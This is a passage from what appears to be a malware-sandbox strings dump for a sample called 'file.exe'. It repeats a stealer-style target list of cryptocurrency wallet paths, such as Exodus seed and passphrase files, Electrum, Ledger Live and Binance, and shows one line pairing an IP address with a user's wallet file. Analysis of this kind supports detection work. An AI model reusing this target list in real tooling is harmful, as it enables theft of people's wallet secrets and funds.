Source: file.exe, 00000000.00000002.2057596576.0000000000AC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2057596576.0000000000AC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2057596576.0000000000AC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2057596576.0000000000AC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2057596576.0000000000AC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2057596576.0000000000AC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2057596576.0000000000AC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2057596576.0000000000AC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2057596576.0000000000AC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2057596576.0000000000AC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2059475906.00000000016B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16bert\AppData\Roaming\Binance\.finger-print.fp
Source: file.exe, 00000000.00000002.2057596576.0000000000AC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2057596576.0000000000AC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2057596576.0000000000AC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger 